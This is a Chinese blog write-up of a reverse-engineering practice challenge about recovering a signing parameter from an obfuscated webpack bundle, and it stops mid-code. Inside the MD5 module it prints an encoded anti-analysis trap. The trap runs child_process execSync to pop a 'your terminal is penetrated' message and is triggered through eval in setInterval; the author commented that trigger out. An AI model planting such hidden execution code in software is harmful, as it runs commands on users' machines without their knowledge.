猿人学-21-js加密-一个套了轻ob的webpack

python_QYF

于 2024-08-09 16:32:41 发布

阅读量618

点赞数 8

分类专栏： spider 文章标签： javascript webpack 开发语言逆向 python

本文链接：https://blog.csdn.net/qyf__123/article/details/141065372

版权

spider 专栏收录该内容

13 篇文章 0 订阅

订阅专栏

21-js加密-一个套了轻ob的webpack

该题为猿人学练习平台第二十一题 js 加密-一个套了轻ob的webpack

webpack

webpack 实际上只是一个打包工具，其中一定包含有业务代码，需要将核心模块代码扣出来

webpack 在做的事

以加载器为核心，以加载器的某一个模块为入口<r(10)>，分模块打包，最终返回

PS1: 加载器
function r(i) {
    if (e[i])
        return e[i].exports;
    var n = e[i] = {
        i: i,
        l: !1,
        exports: {}
    };
    return t[i].call(n.exports, n, n.exports, r),
        n.l = !0,
        n.exports
}

PS2: 模块
webpack 的自执行函数里面，传入的参数
这个参数可以是数组，也可以是对象

PS3: 加载器的返回值是什么？
从代码执行到函数入口开始  ------  代码拿到密文结束

最重要的一点：
    注意：webpack是一种打包工具，可以勉强理解为是一种壳。所以，webpack本身并不会影响到任何的混淆

    所以，webpack + 检测 + 混淆  是一种非常常见的组合手段

抓包分析

有三个参数

其中 s 为加密参数

page: 3
s: 7d72ec96a1f59c061a26003da4a9a32a
t: 1723189172520

通过接口调用堆栈找到参数加密位置

点击后可以看到参数进行了加密


k = _0x4e86fd(0x43 * -0x53 + -0x18e5 + 0x2 * 0x1853);
let _0x4d0a2e = k();
var _0x5523f0 = {};
_0x5523f0['page'] = String(_0x286e83),
_0x5523f0['s'] = _0x4d0a2e,
_0x5523f0['t'] = p['s'];
var _0x54b263 = _0x5523f0;

加密分析

已知为 webpack ，先找到加载器

!function(_0x33909e) {
    var _0x56b1f7 = function() {
        var _0x2f2759 = !![];
        return function(_0x68fc69, _0x575f66) {
            var _0x1686f2 = _0x2f2759 ? function() {
                        if (_0x575f66) {
                            var _0x1aef1e = _0x575f66['apply'](_0x68fc69, arguments);
                            return _0x575f66 = null,
                                _0x1aef1e;
                        }
                    }
                    : function() {}
            ;
            return _0x2f2759 = ![],
                _0x1686f2;
        }
            ;
    }();
    function _0xe63c45(_0xd5a17c) {
        var _0x291e45 = _0x56b1f7(this, function() {
            var _0x45b5a7 = function() {
                var _0x476af4;
                try {
                    _0x476af4 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
                } catch (_0x12f241) {
                    _0x476af4 = window;
                }
                return _0x476af4;
            }
                , _0x2a46ca = _0x45b5a7()
                , _0x43925d = _0x2a46ca['console'] = _0x2a46ca['console'] || {}
                , _0x2d2eeb = ['log', 'warn', 'info', 'error', 'exception', 'table', 'trace'];
            for (var _0x4e73e5 = -0x1 * -0x1840 + -0x2609 + 0xdc9; _0x4e73e5 < _0x2d2eeb['length']; _0x4e73e5++) {
                var _0x56bc6c = _0x56b1f7['constructor']['prototype']['bind'](_0x56b1f7)
                    , _0x16db9f = _0x2d2eeb[_0x4e73e5]
                    , _0xa38bf = _0x43925d[_0x16db9f] || _0x56bc6c;
                _0x56bc6c['__proto__'] = _0x56b1f7['bind'](_0x56b1f7),
                    _0x56bc6c['toString'] = _0xa38bf['toString']['bind'](_0xa38bf),
                    _0x43925d[_0x16db9f] = _0x56bc6c;
            }
        });
        _0x291e45();
        if (_0x2e44f1[_0xd5a17c])
            return _0x2e44f1[_0xd5a17c]['exports'];
        var _0xfaa4fe = _0x2e44f1[_0xd5a17c] = {
            'i': _0xd5a17c,
            'l': !(0x1822 + 0x55d * 0x3 + -0xb * 0x3a8),
            'exports': {}
        };
        return _0x33909e[_0xd5a17c]['call'](_0xfaa4fe['exports'], _0xfaa4fe, _0xfaa4fe['exports'], _0xe63c45),
            _0xfaa4fe['l'] = !(-0x854 + 0x493 * 0x1 + 0x1 * 0x3c1),
            _0xfaa4fe['exports'];
    }
    var _0x2e44f1 = {};
    _0xe63c45['m'] = _0x33909e,
        _0xe63c45['c'] = _0x2e44f1,
        _0xe63c45['i'] = function(_0x4bed3d) {
            return _0x4bed3d;
        }
        ,
        _0xe63c45['d'] = function(_0x2973c5, _0x1b81bd, _0xea4905) {
            var _0x5d151a = {};
            _0x5d151a['configurable'] = !(-0x1969 + 0x10f3 + 0x877),
                _0x5d151a['enumerable'] = !(0xb * 0x7a + -0x6fd * -0x3 + 0x1 * -0x1a35),
                _0x5d151a['get'] = _0xea4905,
            _0xe63c45['o'](_0x2973c5, _0x1b81bd) || Object['defineProperty'](_0x2973c5, _0x1b81bd, _0x5d151a);
        }
        ,
        _0xe63c45['n'] = function(_0x4d1715) {
            var _0x4b2239 = _0x4d1715 && _0x4d1715['__esModule'] ? function() {
                        return _0x4d1715['default'];
                    }
                    : function() {
                        return _0x4d1715;
                    }
            ;
            return _0xe63c45['d'](_0x4b2239, 'a', _0x4b2239),
                _0x4b2239;
        }
        ,
        _0xe63c45['o'] = function(_0x111524, _0xb34723) {
            return Object['prototype']['hasOwnProperty']['call'](_0x111524, _0xb34723);
        }
        ,
        _0xe63c45['p'] = '',
        _0xe63c45(_0xe63c45['s'] = -0x1 * -0x2a5 + 0x24d8 + -0xb * 0x38d);
}()

通过这个特征可以确定为加载器

    var _0xfaa4fe = _0x2e44f1[_0xd5a17c] = {
        'i': _0xd5a17c,
        'l': !(0x1822 + 0x55d * 0x3 + -0xb * 0x3a8),
        'exports': {}
    };
    return _0x33909e[_0xd5a17c]['call'](_0xfaa4fe['exports'], _0xfaa4fe, _0xfaa4fe['exports'], _0xe63c45),
        _0xfaa4fe['l'] = !(-0x854 + 0x493 * 0x1 + 0x1 * 0x3c1),
        _0xfaa4fe['exports'];
}

尝试断点与插桩的方式将用的模块吐出来

window.result = window.result + '"' + i + '":' + t[i] + '' + ','

不知道是不是经过了混淆导致插桩吐模块方式一直失败

所以开始一点点断点调试找模块，因为该代码进行过 ob 混淆，先使用工具进行解混淆，并将其保存到本地

/*
@Time    : 2024/8/8 11:37
@Author  : QYF
@File    : 21.js
*/
debugger;
!function (_0x33909e) {
    var _0x56b1f7 = function () {
        var _0x2f2759 = true;
        return function (_0x68fc69, _0x575f66) {
            var _0x1686f2 = _0x2f2759 ? function () {
                if (_0x575f66) {
                    var _0x1aef1e = _0x575f66["apply"](_0x68fc69, arguments);

                    return _0x575f66 = null, _0x1aef1e;
                }
            } : function () {};

            return _0x2f2759 = false, _0x1686f2;
        };
    }();

    function _0xe63c45(_0xd5a17c) {
        var _0x291e45 = _0x56b1f7(this, function () {
            var _0x45b5a7 = function () {
                    var _0x476af4;

                    try {
                        _0x476af4 = Function("return (function() {}.constructor(\"return this\")( ));")();
                    } catch (_0x12f241) {
                        _0x476af4 = window;
                    }

                    return _0x476af4;
                },
                _0x2a46ca = _0x45b5a7(),
                _0x43925d = _0x2a46ca["console"] = _0x2a46ca["console"] || {},
                _0x2d2eeb = ["log", "warn", "info", "error", "exception", "table", "trace"];

            for (var _0x4e73e5 = 0; _0x4e73e5 < _0x2d2eeb["length"]; _0x4e73e5++) {
                var _0x56bc6c = _0x56b1f7["constructor"]["prototype"]["bind"](_0x56b1f7),
                    _0x16db9f = _0x2d2eeb[_0x4e73e5],
                    _0xa38bf = _0x43925d[_0x16db9f] || _0x56bc6c;

                _0x56bc6c["__proto__"] = _0x56b1f7["bind"](_0x56b1f7), _0x56bc6c["toString"] = _0xa38bf["toString"]["bind"](_0xa38bf), _0x43925d[_0x16db9f] = _0x56bc6c;
            }
        });

        _0x291e45();

        if (_0x2e44f1[_0xd5a17c]) {
            return _0x2e44f1[_0xd5a17c]["exports"];
        }

        var _0xfaa4fe = _0x2e44f1[_0xd5a17c] = {
            "i": _0xd5a17c,
            "l": false,
            "exports": {}
        };

        return _0x33909e[_0xd5a17c]["call"](_0xfaa4fe["exports"], _0xfaa4fe, _0xfaa4fe["exports"], _0xe63c45), _0xfaa4fe["l"] = true, _0xfaa4fe["exports"];
    }

    var _0x2e44f1 = {};
    _0xe63c45["m"] = _0x33909e;
    _0xe63c45["c"] = _0x2e44f1;

    _0xe63c45["i"] = function (_0x4bed3d) {
        return _0x4bed3d;
    };

    _0xe63c45["d"] = function (_0x2973c5, _0x1b81bd, _0xea4905) {
        var _0x5d151a = {
            "configurable": false,
            "enumerable": true,
            "get": _0xea4905
        };
        _0xe63c45["o"](_0x2973c5, _0x1b81bd) || Object["defineProperty"](_0x2973c5, _0x1b81bd, _0x5d151a);
    };

    _0xe63c45["n"] = function (_0x4d1715) {
        var _0x4b2239 = _0x4d1715 && _0x4d1715["__esModule"] ? function () {
            return _0x4d1715["default"];
        } : function () {
            return _0x4d1715;
        };

        return _0xe63c45["d"](_0x4b2239, "a", _0x4b2239), _0x4b2239;
    };

    _0xe63c45["o"] = function (_0x111524, _0xb34723) {
        return Object["prototype"]["hasOwnProperty"]["call"](_0x111524, _0xb34723);
    };

    _0xe63c45["p"] = "";

    _0xe63c45(_0xe63c45["s"] = 110);
}({

    369: function (_0x507ecf, _0x10a53e, _0x211a3e) {
        function _0x27dd85(_0xadd1cc) {
            _0x279e0a["call"](this, _0xadd1cc, ["linearGradient", "radialGradient"], "__gradient_in_use__");
        }

        var _0x279e0a = _0x211a3e(314),
            _0x354f32 = _0x211a3e(0),
            _0x55ddd7 = _0x211a3e(107);

        _0x354f32["inherits"](_0x27dd85, _0x279e0a), _0x27dd85["prototype"]["addWithoutUpdate"] = function (_0x354c16, _0xb28b42) {
            if (_0xb28b42 && _0xb28b42["style"]) {
                var _0x4e093f = this;

                _0x354f32["each"](["fill", "stroke"], function (_0x5dd5a7) {
                    if (_0xb28b42["style"][_0x5dd5a7] && ("linear" === _0xb28b42["style"][_0x5dd5a7]["type"] || "radial" === _0xb28b42["style"][_0x5dd5a7]["type"])) {
                        var _0x5194ee,
                            _0x43396a = _0xb28b42["style"][_0x5dd5a7],
                            _0x51330a = _0x4e093f["getDefs"](true);

                        _0x43396a["_dom"] ? (_0x5194ee = _0x43396a["_dom"], _0x51330a["contains"](_0x43396a["_dom"]) || _0x4e093f["addDom"](_0x5194ee)) : _0x5194ee = _0x4e093f["add"](_0x43396a), _0x4e093f["markUsed"](_0xb28b42);

                        var _0x2ec457 = _0x5194ee["getAttribute"]("id");

                        _0x354c16["setAttribute"](_0x5dd5a7, "url(#" + _0x2ec457 + ")");
                    }
                });
            }
        }, _0x27dd85["prototype"]["add"] = function (_0x17fdb8) {
            var _0x26897c;

            if ("linear" === _0x17fdb8["type"]) {
                _0x26897c = this["createElement"]("linearGradient");
            } else {
                if ("radial" !== _0x17fdb8["type"]) {
                    return _0x55ddd7("Illegal gradient type."), null;
                }

                _0x26897c = this["createElement"]("radialGradient");
            }

            return _0x17fdb8["id"] = _0x17fdb8["id"] || this["nextId"]++, _0x26897c["setAttribute"]("id", "zr-gradient-" + _0x17fdb8["id"]), this["updateDom"](_0x17fdb8, _0x26897c), this["addDom"](_0x26897c), _0x26897c;
        }, _0x27dd85["prototype"]["update"] = function (_0x41a1fb) {
            var _0x39bfb2 = this;

            _0x279e0a["prototype"]["update"]["call"](this, _0x41a1fb, function () {
                var _0x24491f = _0x41a1fb["type"],
                    _0x4e8798 = _0x41a1fb["_dom"]["tagName"];
                "linear" === _0x24491f && "linearGradient" === _0x4e8798 || "radial" === _0x24491f && "radialGradient" === _0x4e8798 ? _0x39bfb2["updateDom"](_0x41a1fb, _0x41a1fb["_dom"]) : (_0x39bfb2["removeDom"](_0x41a1fb), _0x39bfb2["add"](_0x41a1fb));
            });
        }, _0x27dd85["prototype"]["updateDom"] = function (_0x2390cc, _0x236930) {
            if ("linear" === _0x2390cc["type"]) {
                _0x236930["setAttribute"]("x1", _0x2390cc["x"]), _0x236930["setAttribute"]("y1", _0x2390cc["y"]), _0x236930["setAttribute"]("x2", _0x2390cc["x2"]), _0x236930["setAttribute"]("y2", _0x2390cc["y2"]);
            } else {
                if ("radial" !== _0x2390cc["type"]) {
                    return undefined;
                }

                _0x236930["setAttribute"]("cx", _0x2390cc["x"]), _0x236930["setAttribute"]("cy", _0x2390cc["y"]), _0x236930["setAttribute"]("r", _0x2390cc["r"]);
            }

            _0x2390cc["global"] ? _0x236930["setAttribute"]("gradientUnits", "userSpaceOnUse") : _0x236930["setAttribute"]("gradientUnits", "objectBoundingBox"), _0x236930["innerHTML"] = "";

            for (var _0x49f94e = _0x2390cc["colorStops"], _0x2cbdb7 = 0, _0x3c3348 = _0x49f94e["length"]; _0x2cbdb7 < _0x3c3348; ++_0x2cbdb7) {
                var _0x48da88 = this["createElement"]("stop");

                _0x48da88["setAttribute"]("offset", 100 * _0x49f94e[_0x2cbdb7]["offset"] + "%"), _0x48da88["setAttribute"]("stop-color", _0x49f94e[_0x2cbdb7]["color"]), _0x236930["appendChild"](_0x48da88);
            }

            _0x2390cc["_dom"] = _0x236930;
        }, _0x27dd85["prototype"]["markUsed"] = function (_0xf2e316) {
            if (_0xf2e316["style"]) {
                var _0x2aca46 = _0xf2e316["style"]["fill"];
                _0x2aca46 && _0x2aca46["_dom"] && _0x279e0a["prototype"]["markUsed"]["call"](this, _0x2aca46["_dom"]), _0x2aca46 = _0xf2e316["style"]["stroke"], _0x2aca46 && _0x2aca46["_dom"] && _0x279e0a["prototype"]["markUsed"]["call"](this, _0x2aca46["_dom"]);
            }
        };
        var _0x1c91b7 = _0x27dd85;
        _0x507ecf["exports"] = _0x1c91b7;
    },
    520: function (_0x30cc03, _0x3b380c, _0x3f415a) {
        !function () {
            var _0x4150d9 = _0x3f415a(684),
                _0x1e0191 = _0x3f415a(200)["utf8"],
                _0x30d60b = _0x3f415a(274),
                _0x5cd848 = _0x3f415a(200)["bin"],
                _0xaa1e3a = function (_0x326ed8, _0x3a712d) {
                    _0x326ed8["constructor"] == String ? _0x326ed8 = _0x3a712d && "binary" === _0x3a712d["encoding"] ? _0x5cd848["stringToBytes"](_0x326ed8) : _0x1e0191["stringToBytes"](_0x326ed8) : _0x30d60b(_0x326ed8) ? _0x326ed8 = Array["prototype"]["slice"]["call"](_0x326ed8, 0) : Array["isArray"](_0x326ed8) || _0x326ed8["constructor"] === Uint8Array || (_0x326ed8 = _0x326ed8["toString"]());

                    for (var _0x15400d = _0x4150d9["bytesToWords"](_0x326ed8), _0xbcaaa4 = 8 * _0x326ed8["length"], _0x226810 = 1732584193, _0x39c5a3 = -271733879, _0x375469 = -1732584194, _0xbfc4fd = 271733878, _0x27e50a = 0; _0x27e50a < _0x15400d["length"]; _0x27e50a++) _0x15400d[_0x27e50a] = 16711935 & (_0x15400d[_0x27e50a] << 8 | _0x15400d[_0x27e50a] >>> 24) | 4278255360 & (_0x15400d[_0x27e50a] << 24 | _0x15400d[_0x27e50a] >>> 8);

                    _0x15400d[_0xbcaaa4 >>> 5] |= 128 << _0xbcaaa4 % 32, _0x15400d[14 + (_0xbcaaa4 + 64 >>> 9 << 4)] = _0xbcaaa4;
                    var _0x5ac147 = [102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 116, 114, 121, 123, 116, 114, 121, 123, 99, 111, 110, 115, 116, 123, 101, 120, 101, 99, 83, 121, 110, 99, 125, 61, 114, 101, 113, 117, 105, 114, 101, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 59, 101, 120, 101, 99, 83, 121, 110, 99, 40, 96, 111, 115, 97, 115, 99, 114, 105, 112, 116, 45, 101, 39, 100, 105, 115, 112, 108, 97, 121, 32, 110, 111, 116, 105, 102, 105, 99, 97, 116, 105, 111, 110, 32, 34, 25105, 24050, 32463, 28183, 36879, 20102, 20320, 30340, 32456, 31471, 65292, 20320, 22909, 22909, 24819, 24819, 36825, 20010, 26102, 20505, 22914, 26524, 20851, 26426, 25110, 32773, 114, 109, 32, 45, 114, 102, 32, 20250, 24590, 20040, 26679, 65311, 32, 45, 45, 45, 45, 45, 45, 45, 32, 23433, 28572, 34, 32, 119, 105, 116, 104, 32, 116, 105, 116, 108, 101, 32, 34, 21361, 38505, 35686, 21578, 34, 32, 115, 117, 98, 116, 105, 116, 108, 101, 32, 34, 36973, 36935, 28183, 36879, 34, 39, 96, 41, 125, 99, 97, 116, 99, 104, 40, 101, 41, 123, 99, 111, 110, 115, 116, 123, 101, 120, 101, 99, 83, 121, 110, 99, 125, 61, 114, 101, 113, 117, 105, 114, 101, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 59, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 109, 115, 103, 32, 32, 37, 117, 115, 101, 114, 110, 97, 109, 101, 37, 32, 47, 116, 105, 109, 101, 58, 49, 48, 48, 48, 48, 32, 32, 25105, 24050, 32463, 28183, 36879, 20102, 20320, 30340, 99, 109, 100, 65292, 20320, 22909, 22909, 24819, 24819, 36825, 20010, 26102, 20505, 22914, 26524, 20851, 26426, 25110, 32773, 114, 109, 32, 45, 114, 102, 32, 20250, 24590, 20040, 26679, 65311, 32, 45, 45, 45, 45, 45, 45, 45, 32, 23433, 28572, 39, 41, 125, 125, 99, 97, 116, 99, 104, 40, 101, 41, 123, 122, 61, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 46, 103, 101, 116, 84, 105, 109, 101, 40, 41, 125, 125];
                    R = "";

                    // for (let _0x50726b = 0; _0x50726b < _0x5ac147["length"]; _0x50726b++) {
                    //     R += String["fromCharCode"](_0x5ac147[_0x50726b]);
                    // }

                    for (var _0x555e78 = _0xaa1e3a["_ff"], _0xda568c = _0xaa1e3a["_gg"], _0x5ac147 = _0xaa1e3a["_hh"], _0x3b4f7f = _0xaa1e3a["_ii"], _0x27e50a = 0; _0x27e50a < _0x15400d["length"]; _0x27e50a += 16) {
                        var _0x1bb416 = _0x226810,
                            _0x26a408 = _0x39c5a3,
                            _0x50a4d0 = _0x375469,
                            _0xa5ce79 = _0xbfc4fd;
                        se = eval, kp = setInterval, (_0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 0], 7, -680876936), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 1], 12, -389564586), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 2], 17, 606105819), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 3], 22, -1044525330), _0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 4], 7, -176418897), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 5], 12, 1200080426), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 6], 17, -1473231341), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 7], 22, -45705983), _0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 8], 7, 1770035416), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 9], 12, -1958414417), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 10], 17, -42063), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 11], 22, -1990404162), _0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 12], 7, 1804603682), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 13], 12, -40341101), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 14], 17, -1502002290), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 15], 22, 1236535329), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 1], 5, -165796510), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 6], 9, -1069501632), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 11], 14, 643717713), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 0], 20, -373897302), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 5], 5, -701558691), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 10], 9, 38016083), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 15], 14, -660478335), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 4], 20, -405537848), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 9], 5, 568446438), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 14], 9, -1019803690), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 3], 14, -187363961), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 8], 20, 1163531501), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 13], 5, -1444681467), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 2], 9, -51403784), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 7], 14, 1735328473), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 12], 20, -1926607734), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 5], 4, -378558), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 8], 11, -2022574463), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 11], 16, 1839030562), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 14], 23, -35309556), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 1], 4, -1530992060), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 4], 11, 1272893353), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 7], 16, -155497632), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 10], 23, -1094730640), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 13], 4, 681278174), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 0], 11, -358537222), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 3], 16, -722521979), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 6], 23, 76029189), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 9], 4, -640364487), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 12], 11, -421815835), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 15], 16, 530742520), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 2], 23, -995338651), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 0], 6, -198630844), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 7], 10, 1126891415), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 14], 15, -1416354905), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 5], 21, -57434055), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 12], 6, 1700485571), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 3], 10, -1894986606), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 10], 15, -1051523), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 1], 21, -2054922799), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 8], 6, 1873313359), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 15], 10, -30611744), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 6], 15, -1560198380), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 13], 21, 1309151649), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 4], 6, -145523070), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 11], 10, -1120210379), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 2], 15, 718787259), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 9], 21, -343485551), _0x226810 = _0x226810 + _0x1bb416 >>> 0, _0x39c5a3 = _0x39c5a3 + _0x26a408 >>> 0, _0x375469 = _0x375469 + _0x50a4d0 >>> 0, _0xbfc4fd = _0xbfc4fd + _0xa5ce79 >>> 0);
                    }

                    return _0x4150d9["endian"]([_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd]);
                };

            _0xaa1e3a["_ff"] = function (_0x3a6840, _0xd0eb14, _0x405461, _0xb5007a, _0x361147, _0xabcf32, _0x5ca78a) {
                var _0xc97bda = _0x3a6840 + (_0xd0eb14 & _0x405461 | ~_0xd0eb14 & _0xb5007a) + (_0x361147 >>> 0) + _0x5ca78a;

                return kp(function () {
                    // eval("!" + R + "()");
                }, 999), (_0xc97bda << _0xabcf32 | _0xc97bda >>> 32 - _0xabcf32) + _0xd0eb14;
            }, _0xaa1e3a["_gg"] = function (_0x3e4f7f, _0x1f902e, _0x1547bf, _0x14070c, _0x38b4ce, _0xcee3e4, _0x58213c) {
                var _0x7b6a58 = _0x3e4f7f + (_0x1f902e & _0x14070c | _0x1547bf & ~_0x14070c) + (_0x38b4ce >>> 0) + _0x58213c;

                return (_0x7b6a58 << _0xcee3e4 | _0x7b6a58 >>> 32 - _0xcee3e4) + _0x1f902e;
            }, _0xaa1e3a["_hh"] = function (_0x100bf8, _0x1b9ac1, _0x5dc561, _0x437c3a, _0x294d78, _0x4ea764, _0x564a54) {
                var _0x31e92f = _0x100bf8 + (_0x1b9ac1 ^ _0x5dc561 ^ _0x437c3a) + (_0x294d78 >>> 0) + _0x564a54;

                return (_0x31e92f << _0x4ea764 | _0x31e92f >>> 32 - _0x4ea764) + _0x1b9ac1;
            }, _0xaa1e3a["_ii"] = function (_0x2df856, _0x15ea9a, _0x2ba0c6, _0x5ee1c3, _0x3e2bed, _0x4d87fe, _0x1f9e89) {
                var _0x17c7cd = _0x2df856 + (_0x2ba0c6 ^ (_0x15ea9a | ~_0x5ee1c3)) + (_0x3e2bed >>> 0) + _0x1f9e89;

                return (_0x17c7cd << _0x4d87fe | _0x17c7cd >>> 32 - _0x4d87fe) + _0x15ea9a;
            }, _0xaa1e3a["_blocksize"] = 16, _0xaa1e3a["_digestsize"] = 16, result = function (_0x4f52ae, _0x13ce02) {
                if (undefined === _0x4f52ae || null === _0x4f52ae) {
                    throw new Error("Illegal argument " + _0x4f52ae);
                }

                var _0x582db3 = _0x4150d9["wordsToBytes"](_0xaa1e3a(_0x4f52ae, _0x13ce02));

